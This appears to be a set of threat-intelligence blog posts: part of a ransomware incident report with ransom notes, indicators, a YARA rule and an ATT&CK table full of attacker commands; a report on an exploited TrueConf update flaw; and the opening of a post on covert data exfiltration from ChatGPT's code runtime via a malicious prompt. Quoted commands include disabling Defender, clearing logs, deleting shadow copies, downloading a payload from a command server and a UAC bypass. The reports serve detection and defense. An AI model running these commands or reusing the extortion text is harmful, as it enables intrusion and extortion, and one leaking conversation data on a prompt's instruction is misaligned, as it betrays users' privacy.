The ransomware implements a targeted exclusion list to avoid encrypting critical components of the underlying VMware ESXi / Linux-based operating system, as well as associated virtualization and boot infrastructure.

Directories:

/boot/, /proc/, /sys/, /run/, /dev/, /lib/, /etc/, /bin/, /mbr/, /lib64/, /vmware/lifecycle/, /vdtc/, /healthd/

File types:

vmsd, sf, vmx~, lck, vmx, nvram, v00, v01, v02, v03, v04, v05, v06, v07, v08, v09, b00, b01, b02, b03, b04, b05, b06, b07, b08, b09, t00, t01, t02, t03, t04, t05, t06, t07, t08, t09, locker, unlocker, .go, .exe

Files:

initrd, vmlinuz, basemisc.tgz, README-GENTLEMEN.txt, boot.cfg, bootpart.gz, features.gz, imgdb.tgz, jumpstrt.gz, onetime.tgz, state.tgz, useropts.gz


Conclusion

The activity surrounding The Gentlemen RaaS underscores how quickly a well‑designed affiliate program can evolve from newcomer to a high‑impact ecosystem player. By combining a versatile, multi‑platform locker set with built‑in lateral movement, Group Policy–based mass deployment, and strong defense‑evasion capabilities, the operation enables even moderately skilled affiliates to execute enterprise‑scale intrusions with ransomware detonation as the final stage.

The observed use of SystemBC alongside Cobalt Strike, and the discovery of a botnet with more than 1,570 likely corporate victims, further highlights that The Gentlemen affiliates are not operating in isolation, but are actively integrating into a broader toolchain of mature, post‑exploitation frameworks and proxy infrastructure. Organizations should therefore treat The Gentlemen not as an isolated family, but as part of a wider, modular intrusion ecosystem where initial access, post‑exploitation, and encryption capabilities can be rapidly recombined and reused across campaigns.


Indicators of Compromise

DescriptionValue
Cobalt Strike C&C91.107.247[.]163
SystemBC992c951f4af57ca7cd8396f5ed69c2199fd6fd4ae5e93726da3e198e78bec0a5
SystemBC C&C45.86.230[.]112
The Gentlemen Windows025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a
22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67
2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d
3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235
48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd
62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8
860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923
87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c
8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db
91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1
994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3
9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454
a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad
b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6
c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8
c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73
ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2
efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f
f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12
fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
Embedded binaries (psexesvc.exe/psexec.exe)cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
gentlemen.bmpfe1033335a045c696c900d435119d210361966e2fb5cd1ba3382608cfa2c8e68
The Gentlemen Linux5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca
788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19
1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c


Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}


Ransomware Note – README-GENTLEMEN.txt

Windows Version:

{VICTIM_ID} {VICTIM}= YOUR ID

Gentlemen, your network has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide three sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: hxxps://x.com/TheGentlemen25

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.
After adding (us) in Tox or Session, please wait for your request to be processed and stay online.
If you do not receive a reply within 36 hours, create another account and contact us again.
In your first message in chat, immediately provide your ID from the note and the name of your organization. 
Assign one person as contact responsible for all negotiations. Do not create multiple chats.

ESXi Version:

{VICTIM_ID} = YOUR ESXI ID

Gentlemen, your ESXI has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide two sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: <https://x.com/TheGentlemen25>

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.


MITRE ATT&CK Matrix

TacticTechnique / Sub‑TechniqueDescription
Initial AccessValid Accounts (T1078)Attacker already active on Domain Controller with Domain Admin privileges; --spread "domain\\user:password" uses harvested domain credentials for remote execution and lateral movement.
Initial AccessExternal Remote Services (T1133(inferred)Initial entry not directly observed; context suggests possible compromise via exposed remote services (e.g., RDP/VPN), but campaign evidence starts post‑compromise on DC.
ExecutionCommand Shell (T1059.003)Widespread cmd.exe /C usage: systeminfowhoamidir c:\\userstype \\\\host\\share\\file.txttaskkillgpupdate /forcenetrd, etc.
ExecutionPowerShell (T1059.001)Defender tampering and firewall changes via PowerShell; internal HTTP download of grand.exe to c:\\programdata\\r.exe; extensive script‑based lateral movement using Invoke-Command and multi‑step PowerShell scripts (SCRIPT_ASCRIPT_G).
ExecutionWindows Management Instrumentation (T1047)wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic ... "C:\\Temp\\<exe> <creds>" to execute scripts and lockers on remote hosts.
ExecutionScheduled Task/Job: Scheduled Task (T1053.005)Creation of local and remote tasks: UpdateSystemUpdateUserDefUDefSUpdateGUUpdateGU2UpdateGSUpdateGS2 using schtasks /Create /S <target> ... /Run for execution and persistence.
ExecutionSystem Services: Service Execution (T1569.002)Remote services DefSvcUpdateSvcUpdateSvc2 created and started via sc \\\\<target> create ... and sc \\\\<target> start ... to run ransomware or helper scripts.
ExecutionNative API (T1106)Use of SystemParametersInfoW to set gentlemen.bmp as wallpaper; dynamic loading of mpr.dll and calls to WNetOpenEnumWWNetEnumResourceWWNetCloseEnum to enumerate network shares.
ExecutionUser Execution: Malicious File (T1204.002)Operator‑driven execution of ransomware payloads (r.exeg.exeo.exe, GPO‑deployed locker) on endpoints as final stage of intrusion.
PersistenceScheduled Task/Job: Scheduled Task (T1053.005)Local persistence via schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM; remote tasks on many hosts ensure repeated execution and durability of the locker.
PersistenceRegistry Run Keys / Startup Folder (T1060)Run key added: reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f to autostart ransomware in user context.
PersistenceCreate or Modify System Process: Windows Service (T1543.003)Creation of new services (DefSvcUpdateSvcUpdateSvc2) on remote hosts to execute ransomware or helper logic, typically running as SYSTEM.
PersistenceBoot or Logon Autostart Execution: rc.local (T1547.009)ESXi/Linux variant copies itself to /bin/.vmware-authd and configures /etc/rc.local.d/local.sh with sleep 30 && /bin/.vmware-authd <original_argv> & to auto‑run on boot.
PersistenceScheduled Task/Job: Cron (T1053.003)ESXi variant adds cron entry @reboot sleep 60 && /bin/.vmware-authd <original_argv> via crontab -, providing additional boot persistence.
PersistenceBoot or Logon Initialization Scripts (T1037.004)Combined use of rc.local (/etc/rc.local.d/local.sh) and cron @reboot scripts ensures the locker relaunches after ESXi host reboot.
PersistenceIngress Tool Transfer (T1105)--gpo deployment mode copies locker to \\\\<domain>\\NETLOGON\\<exe> and injects ScheduledTasks.xml into GPO path; all domain machines then pull and execute the locker via GPO‑scheduled tasks.
Privilege EscalationValid Accounts (T1078)Stolen Domain Admin and other domain credentials used with PsExec (-u <domain\\user> -p <pass>) and --spread to perform privileged remote execution and lateral movement.
Privilege EscalationScheduled Task/Job: Scheduled Task (T1053.005)Tasks created to run as SYSTEM (/RU SYSTEM) – locally and via GPO – escalate from user to LocalSystem context for file encryption and defense evasion.
Privilege EscalationCreate or Modify System Process: Windows Service (T1543.003)Attackers create new services configured to run under high‑privilege service accounts (usually SYSTEM) on remote hosts to execute ransomware components.
Defense EvasionImpair Defenses: Disable or Modify Tools (T1562.001)Defender disabled and neutered via Set-MpPreference -DisableRealtimeMonitoring $true; exclusions added for C:\\C:\\Temp\\\\<host>\\share$, and the ransomware process; these operations are performed locally and remotely via scripts.
Defense EvasionImpair Defenses: Disable or Modify System Firewall (T1562.004)Firewall disabled globally: netsh advfirewall set allprofiles state offSet-NetFirewallProfile -Profile Domain,Public,Private -Enabled False; firewall service mpssvc is stopped and set to disabled.
Defense EvasionImpair Defenses: Disable or Modify Cloud/Network Security (T1562.007)Attackers enable SMB1 (Enable-WindowsOptionalFeature ... SMB1Protocol), loosen LSA anonymous access (EveryoneIncludesAnonymous=1RestrictAnonymous=0), and set open network shares using net share + icacls, reducing network/segmentation protections.
Defense EvasionIndicator Removal on Host: Clear Windows Event Logs (T1070.001)wevtutil cl Systemwevtutil cl Applicationwevtutil cl Security executed to remove Windows event logs and hinder forensic reconstruction.
Defense EvasionIndicator Removal on Host: File Deletion (T1070.004)Forensic artefacts removed: prefetch (C:\\Windows\\Prefetch\\*.*), Defender logs (C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*), RDP logs (%SystemRoot%\\System32\\LogFiles\\RDP*\\*.*), $Recycle.Bin, plus overwriting free space via wipefile.tmp with 64 MB chunks.
Defense EvasionIndicator Removal on Host: Timestomp (T1070.006(implied)Report notes --silent avoids file renaming and timestamp changes; default behavior implied to alter names/timestamps, hampering timeline reconstruction and signature‑based detection.
Defense EvasionMasquerading: Masquerade Task or Service (T1036.004)ESXi locker placed at /bin/.vmware-authd, masquerading as legitimate VMware vmware-authd daemon.
Defense EvasionMasquerading: Match Legitimate Name or Location (T1036.005)Ransomware components use generic names (r.exeg.exeo.exe) and common locations (C:\\ProgramData\\C:\\Temp\\, admin shares) to blend with normal tools and admin activity.
Defense EvasionHide Artifacts: Hidden Window / Binary (T1564.003)ESXi binary uses a leading dot .vmware-authd to stay hidden; --silent mode on Windows avoids visible UI changes like wallpaper and renaming, running ransomware quietly in the background.
Defense EvasionObfuscated/Encrypted Artifacts (T1027)Per‑file ephemeral X25519 keys and XChaCha20 encryption plus footer markers (`–eph–<base64_ephemeral_pubkey>–marker–GENTLEMEN\nGENTLEMEN[–fast
Credential AccessOS Credential Dumping (T1003)Mimikatz artefacts recovered from memory show dumping of domain credentials and stored secrets from compromised workstations.
Credential AccessCredentials from Password Stores (T1555)Mimikatz dumping likely includes passwords from Windows Credential Manager/password stores, used later for --spread and PsExec.
DiscoverySystem Information Discovery (T1082)cmd.exe /C systeminfo run on compromised hosts to gather OS and hardware information.
DiscoveryAccount Discovery (T1033)cmd.exe /C whoami to confirm identity and context on multiple hosts.
DiscoveryAccount Discovery: Domain Account (T1087.002)net group "Domain Admins" /domain and net group "Enterprise Admins" /domain executed to enumerate domain‑level privileged groups.
DiscoveryDomain Trust Discovery (T1482)nltest /domain_trustsnltest /dclist (implied) to identify domain trust relationships and domain controllers.
DiscoveryRemote System Discovery (T1018)Domain computers enumerated via Get-ADComputer -Filter *; each host pinged to confirm reachability before executing lateral movement steps.
DiscoveryPermission Groups Discovery: Domain Groups (T1069.002)net group "Domain Admins" /domain and similar commands to discover privileged group membership.
DiscoveryNetwork Share Discovery (T1135)mpr.dll dynamically loaded; WNetOpenEnumWWNetEnumResourceWWNetCloseEnum used to enumerate available network shares after enabling network discovery services.
DiscoveryFile and Directory Discovery (T1083)cmd.exe /C dir c:\\users; reading internal files (e.g., Chinese language “公司主機紀錄.txt”) on file servers via UNC paths.
DiscoverySoftware Discovery: Security Software Discovery (T1518.001)wmic product where Name like '%kaspe%' get Name, IdentifyingNumber executed to identify installed Kaspersky (or similar) security products.
DiscoveryNetwork Service Scanning (T1046(partly inferred)While explicit port scans are not shown, large‑scale multi‑protocol lateral attempts via PsExec, WMI, remote services, and scheduled tasks after pinging hosts imply service reachability probing.
Lateral MovementRemote Services: SMB/Windows Admin Shares (T1021.002)Payloads dropped to \\\\<hostname>\\ADMIN$\\<random>.exe\\\\<target>\\C$\\Temp\\<exe>; share share$=C:\\Temp created and ACLs widened via icacls to support anonymous/Everyone access.
Lateral MovementRemote Services: RPC (T1021.001)Cobalt Strike and subsequent ransomware payloads executed over RPC from the Domain Controller after being copied to admin shares.
Lateral MovementRemote Services & Service Execution (T1021.001 + T1569.002)psexec \\\\<target> -accepteula -d -s/-h ... for remote execution, along with remote sc create/sc start to run services DefSvcUpdateSvc*.
Lateral MovementRemote Services: Windows Remote Management (T1021.006)PowerShell Invoke-Command -ComputerName <target> -ScriptBlock {...} used to disable Defender, set exclusions, and start lockers on remote machines.
Lateral MovementWindows Management Instrumentation (T1047)wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic /node:<target> process call create "C:\\Temp\\<exe> <creds>" to run scripts and lockers remotely.
Lateral MovementScheduled Task/Job: Scheduled Task (T1053.005)Remote scheduled tasks (DefUDefSUpdateGU*UpdateGS*) created on numerous hosts and executed with /S <target> and /Run.
Lateral MovementLateral Tool Transfer (T1570)Locker copied using xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K and accessible via \\\\<host>\\share$\\<exe> from remote systems.
Lateral MovementRemote Services: RDP (T1021.001)RDP access enabled via reg add ...\\Terminal Server /v fDenyTSConnections /d 0 /f and firewall rule enabling “Remote Desktop” group, supporting interactive lateral movement.
Lateral MovementIngress Tool Transfer (T1105)Internal HTTP server on DC offers grand.exe on port 8080, fetched via PowerShell downloadfile(...) to c:\\programdata\\r.exe.
Command and ControlProxy: Multi‑hop Proxy (T1090.003)SystemBC (socks.exe) deployed; attempts outbound C2 to 45.86.230[.]112; acts as encrypted SOCKS proxy for C2 tunneling and pivoting.
Command and ControlIngress Tool Transfer (T1105)Cobalt Strike payloads and ransomware components transferred via HTTP, SMB (ADMIN$C$), and NETLOGON share as part of C2 and staging.
Command and ControlApplication Layer Protocol: Web Protocols (T1071.001)Cobalt Strike beacon from rundll32.exe to 91.107.247[.]163 using ports 443 and later 80 (HTTPS/HTTP).
Command and ControlEncrypted Channel: Asymmetric Cryptography (T1573.002)Cobalt Strike uses encrypted HTTPS; SystemBC uses RC4‑encrypted tunnel over SOCKS; both provide encrypted C2 channels.
ExfiltrationExfiltration Over C2 Channel (T1041)Ransom note claims “We have exfiltrated all your confidential and business data (including NAS, clouds, etc.)”; details not shown, but implies data exfiltration via C2/remote access tooling (Cobalt Strike, SystemBC, AnyDesk).
Impact (Extortion)Data Destruction in Extortion (T1654)Threats of “irreversible wipe of all data and your network” if victim attempts restoration or refuses to negotiate, coupled with timed leak‑site publication.
Impact (Extortion)Financial Theft / Extortion (T1657)Classic double‑extortion: demands payment for decryption and to prevent public leak; uses Tox IDs, Session, Tor blog tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion, and X account TheGentlemen25.
ImpactData Encrypted for Impact (T1486)Multi‑OS lockers encrypt data (Windows/Linux/ESXi); for large files only 1–9% (depending on --fast/--superfast/--ultrafast) is encrypted with XChaCha20; per‑file footer includes --eph--<base64>--marker--GENTLEMEN\\nGENTLEMEN[...]--.
ImpactInhibit System Recovery (T1490)Shadow copies removed via vssadmin delete shadows /all /quiet and wmic shadowcopy delete$Recycle.Bin removed; logs and prefetch deleted; optional --wipe mode overwrites free space with wipefile.tmp.
ImpactService Stop (T1489)Services (including firewall mpssvc and likely AV/backup) stopped and disabled via sc stop <service> and sc config <service> start=disabled.
ImpactDefacement: Internal Defacement (T1491.001)Desktop background changed to embedded gentlemen.bmp written to %TEMP% and applied via SystemParametersInfoW, signaling compromise to victims.

The post DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy appeared first on Check Point Research.

  •  

Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets

Key Points

  • Check Point Research identified a zero-day vulnerability in the TrueConf client application, tracked as CVE-2026-3502, with a CVSS score of 7.8. The flaw stems from the abuse of TrueConf’s updater validation mechanism, allowing an attacker who controls the on-premises TrueConf server to distribute and execute arbitrary files across all connected endpoints.
  • This vulnerability has been exploited in-the-wild as part of a targeted campaign we call “TrueChaos” against government entities in Southeast Asia, where the threat actor abused the TrueConf update mechanism to deploy the Havoc payload to vulnerable machines.
  • Based on the observed TTPs, command and control infrastructure and victimology, we assess with moderate confidence that this activity is associated with a Chinese-nexus threat actor.
  • Check Point Research responsibly disclosed this vulnerability to TrueConf. Following our notification, the vendor developed a fix, which is included in the TrueConf Windows client starting with version 8.5.3, which was released in March 2026. The current version of the desktop apps is 8.5.2.

Introduction

At the beginning of 2026, Check Point Research observed a series of targeted attacks against government entities in Southeast Asia carried out via a legitimate TrueConf software installed in the targets’ environment. The investigation led to the discovery of a zero-day vulnerability in the TrueConf client, tracked as CVE-2026-3502 with a CVSS score of 7.8. The flaw affects the application’s updater validation mechanism and allows an attacker controlling an on-premises TrueConf server to distribute and execute arbitrary files across connected endpoints.

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments and is used across multiple regions, most prominently in Russia, as well as in East Asia, Europe, and the Americas. Serving more than 100,000 organisations globally, their global customers range from key governments and defense departments and critical infrastructure industries to significant businesses such as banks, power and TV stations. In enterprise environments, its on-premises architecture creates a trusted relationship between the central server and connected clients, especially through the platform’s update mechanism.

Basically, TrueConf acts as an on-premises video conferencing solution that operates entirely within a private local network (LAN) without requiring an internet connection. It is primarily used by government, military, and critical infrastructure sectors to ensure absolute data privacy and communication autonomy in secure or remote environments. In locations with poor or no internet connectivity, or during natural disasters when traditional networks are down, it facilitates essential coordination. By hosting the server on internal hardware, all audio, video, and chat traffic remains strictly contained on-site, with offline activation available for fully air-gapped systems.

In this particular case, that trust was abused to deliver malware due to improper validation in the update process. In the observed in-the-wild activity, operation “TrueChaos”, the threat actor used the trusted update channel of a centrally managed on-premises TrueConf server to distribute malicious updates to multiple connected government agencies in a South Eastern country.

The victimology and regional focus of the campaign suggest an espionage-motivated operation. In combination with the observed TTPs and command-and-control infrastructure, these indicators point with moderate confidence to a Chinese-nexus threat actor.

About TrueConf

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments. Although it is most widely used in Russia, it also has a notable presence across parts of East Asia, Europe, and the Americas. To better understand the potential scope of the vulnerability, we reviewed internet exposed TrueConf servers to assess the platform’s geographic distribution and the possible reach of the attack. This view is necessarily incomplete, as many TrueConf deployments may operate entirely in on-premises environments and remain inaccessible from the public internet.

Figure 1 – Geographic Distribution of Internet-Exposed TrueConf Servers

CVE-2026-3502 Root Cause Analysis

When the TrueConf client starts, it checks the connected on-premises server for available updates. If the server has a newer client version than the one installed, the application prompts the user to download the update from https://{trueconf_server}/downlods/trueconf_client.exe, which maps to the file stored on the server under C:\Program Files\TrueConf Server\ClientInstFiles\.

Figure 2 – TrueConf Application Update Prompt

TrueConf client update starts when the client detects a version mismatch in favor of the TrueConf on-premises server, the client alerts the user that a newer version is available and offers to download it.

Figure 3 – Updating TrueConf Client Without Reinstalling The Server https://trueconf.com/docs/server/en/admin/info/

The vulnerability stems from the lack of integrity and authenticity checks in this update flow. An attacker who gains control of the on-premises TrueConf server can replace the expected update package with an arbitrary executable, presented as the current application version, and distribute it to all connected clients. Because the client trusts the server-provided update without proper validation, the malicious file can be delivered and executed under the guise of a legitimate TrueConf update.

Figure 4 – TrueConf Client’s Settings Page https://trueconf.com/docs/server/en/admin/info/

In-The-Wild Exploitation

The infections began when TrueConf client application launched, probably by a link sent to the target from the attacker. This link launched the already installed TrueConf client and presented an update prompt claiming that a newer version was available.

Prior to the victim’s interaction, the attacker had already replaced the update package on the TrueConf on-premises server with a weaponized version, ensuring that the client retrieved a malicious file through the normal update process.

The compromised TrueConf on-premises server was operated by the governmental IT department and served as a video conferencing platform for dozens of government entities across the country, which were all supplied with the same malicious update.

Analysis of the downloaded package showed that it was a weaponized client update. The installation was built by Inno Setup. It would successfully upgrade the client version from 8.5.1 to the current at the time 8.5.2. Alongside the legitimate TrueConf installation components, the package dropped a benign poweriso.exe executable and a malicious 7z-x64.dll file to the path c:\programdata\poweriso\, which was then loaded through DLL side-loading.

Figure 5 – Malicious Client Update Attack Chain

Using the malicious 7z-x64.dll implant, the attacker performed a series of hands-on-keyboard actions focused on reconnaissance, environment preparation, persistence, and the retrieval of additional payloads.

Figure 6 - Attacker Hands-on-Keyboard Activity
Figure 6 – Attacker Hands-on-Keyboard Activity
  • Initial reconnaissance included commands such as:
    • tasklist > cache
    • tracert 8.8.8.8 -h 5
  • Downloaded from the FTP server an additional loader isciexe.dll, and extract it to the %temp% directory:
    • curl -u ftpuser:<redacted> ftp://47.237.15[.]197/update.7z -o c:\program files\winrar\winrar.exe x update.7z -p <redacted>
  • The attacker then modified the current user’s PATH variable, in order to preform UAC bypass by using the Microsoft iSCSI Initiator Control Panel tool:
    • reg add "hkcu\environment" /v path /t REG_SZ /d "C:\users\<redacted>\appdata\local\temp" /f c:\windows\system32\cmd.exe c:\windows\syswow64\iscsicpl.exe

iscsicpl.exe is a legitimate Windows binary that can be abused for UAC bypass because its 32-bit SysWOW64 version is auto-elevated and is vulnerable to DLL search-order hijacking for iscsiexe.dll. By placing a malicious iscsiexe.dll in a user-controlled location referenced through the user’s %PATH%, an attacker can cause Windows to resolve and load that DLL in the context of the elevated iscsicpl.exe, resulting in privilege escalation without a UAC prompt.

The downloaded update.7z archive contained a legitimate 7z.exe binary alongside iscsiexe.dll, a component used by the attackers as part of the post-compromise workflow. Check Point Research also identified additional variants of the archive that included an encrypted 7z archive named rom.dat. At the time of analysis, the contents and purpose of rom.dat remained unclear.

The iscsiexe.dll component appears to be a simple, custom persistence and privilege escalation tool. Rather than serving as a full-featured backdoor, its role was limited to maintaining execution of winexec.exe, which is the renamed poweriso.exe binary dropped earlier in the infection chain.

Figure 7 - Pseudo-Code of iscsiexe.dll
Figure 7 – Pseudo-Code of iscsiexe.dll

Although Check Point Research did not recover the exact final-stage payload associated with the malicious 7z-x64.dll activity, it observed network communication to 47.237.15[.]197, an attacker-controlled server running Havoc C2 infrastructure, and also identified Havoc demon sample linked to actor C2 infrastructure. Based on this combined evidence, Check Point Research assesses with high confidence that the missing payload was a Havoc implant.

Havoc is an open-source post-exploitation framework intended for penetration testing and adversary emulation, but it has also been repeatedly abused by threat actors in real-world intrusions, including Chinese-nexus Amaranth Dragon activity recently documented by Check Point Research.

Attribution

Check Point Research assesses with moderate confidence that operation TrueChaos is associated with a Chinese-nexus threat actor. The assessment is based on a combination of factors, including TTPs consistent with Chinese-nexus operations such as DLL sideloading, the use of Alibaba Cloud and Tencent hosting for command-and-control infrastructure and the victimology aligns with Chinese nexus strategic interests.

We also observed that the same victim was targeted within the same time frame by ShadowPad malware framework. This may indicate overlap in operator tooling, shared access, or the presence of multiple China-aligned actors targeting the same organization in parallel.

Conclusion

The exploitation of CVE-2026-3502 did not require the attacker to compromise each endpoint individually. Instead, the attacker abused the trusted relationship between a central on-premises TrueConf server and its clients. By replacing a legitimate update with a malicious one, they turned the product’s normal update flow into a malware distribution channel across multiple connected government networks.

From a research perspective, this case shows how monitoring and analysing routine execution techniques can uncover far more significant threats. What initially appeared to be a signed binary used for DLL sideloading ultimately led to the discovery of a zero-day vulnerability in TrueConf’s update validation mechanism.

Hunting Recommendations

In order to identify whether you have been compromised, review the following indicators and hunting opportunities across the affected system: 

  • Check whether trueconf_windows_update.exe is unsigned, as an unsigned update executable may indicate that the file is suspicious or has been tampered with.
  • Treat the system as potentially infected if C:\ProgramData\PowerISO\poweriso.exe is present on disk, especially if this file is not expected in your environment.
  • Treat the system as potentially infected if the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateCheck points to C:\ProgramData\PowerISO\PowerISO.exe, as this indicates persistence through a user logon autorun entry.
  • Treat the system as potentially infected if files such as %AppData%\Roaming\Adobe\update.7z, 7za.exe, iscsiexe.dll, or rom.dat are present, or if there is evidence that they were recently created and then deleted.
  • Hunt for file creation activity in which trueconf_windows_update.tmp creates C:\ProgramData\PowerISO\poweriso.exe or 7z-x64.dll, as this behavior is consistent with the observed delivery chain.
  • Hunt for poweriso.exe spawning commands through cmd.exe, particularly when the command line includes tools or utilities such as curl, winrar.exe, or netstat, since this may indicate download, extraction, or discovery activity.
  • Hunt for the suspicious parent-child process chain trueconf.exe -> trueconf_windows_update.exe -> trueconf_windows_update.tmp -> any executable, as this sequence may reveal execution of the malicious payload.

Indicators of Compromise

trueconf_windows_update.exe – Malicious TrueConf client update
22e32bcf113326e366ac480b077067cf

iscsiexe.dll – Loader
9b435ad985b733b64a6d5f39080f4ae0

7z-x64.dll – Havoc implant
248a4d7d4c48478dcbeade8f7dba80b3

43.134.90[.]60 – Havoc C2
43.134.52[.]221 – Havoc C2
47.237.15[.]197 – Havoc C2

The post Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets appeared first on Check Point Research.

  •  

ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime

Key Takeaways

  • Sensitive data shared with ChatGPT conversations could be silently exfiltrated without the user’s knowledge or approval.
  • Check Point Research discovered a hidden outbound communication path from ChatGPT’s isolated execution runtime to the public internet.
  • A single malicious prompt could turn an otherwise ordinary conversation into a covert exfiltration channel, leaking user messages, uploaded files, and other sensitive content.
  • A backdoored GPT could abuse the same weakness to obtain access to user data without the user’s awareness or consent.
  • The same hidden communication path could also be used to establish remote shell access inside the Linux runtime used for code execution.

What Happened

AI assistants now handle some of the most sensitive data people own. Users discuss symptoms and medical history. They ask questions about taxes, debts, and personal finances, upload PDFs, contracts, lab results, and identity-rich documents that contain names, addresses, account details, and private records. That trust depends on a simple expectation: data shared in the conversation remains inside the system.

ChatGPT itself presents outbound data sharing as something restricted, visible, and controlled. Potentially sensitive data is not supposed to be sent to arbitrary third parties simply because a prompt requests it. External actions are expected to be mediated through explicit safeguards, and direct outbound access from the code-execution environment is restricted.

Figure 1 – ChatGPT presents outbound data leakage as restricted and safeguarded.
Figure 1 – ChatGPT presents outbound data leakage as restricted and safeguarded.

Our research uncovered a path around that model.

We found that a single malicious prompt could activate a hidden exfiltration channel inside a regular ChatGPT conversation.

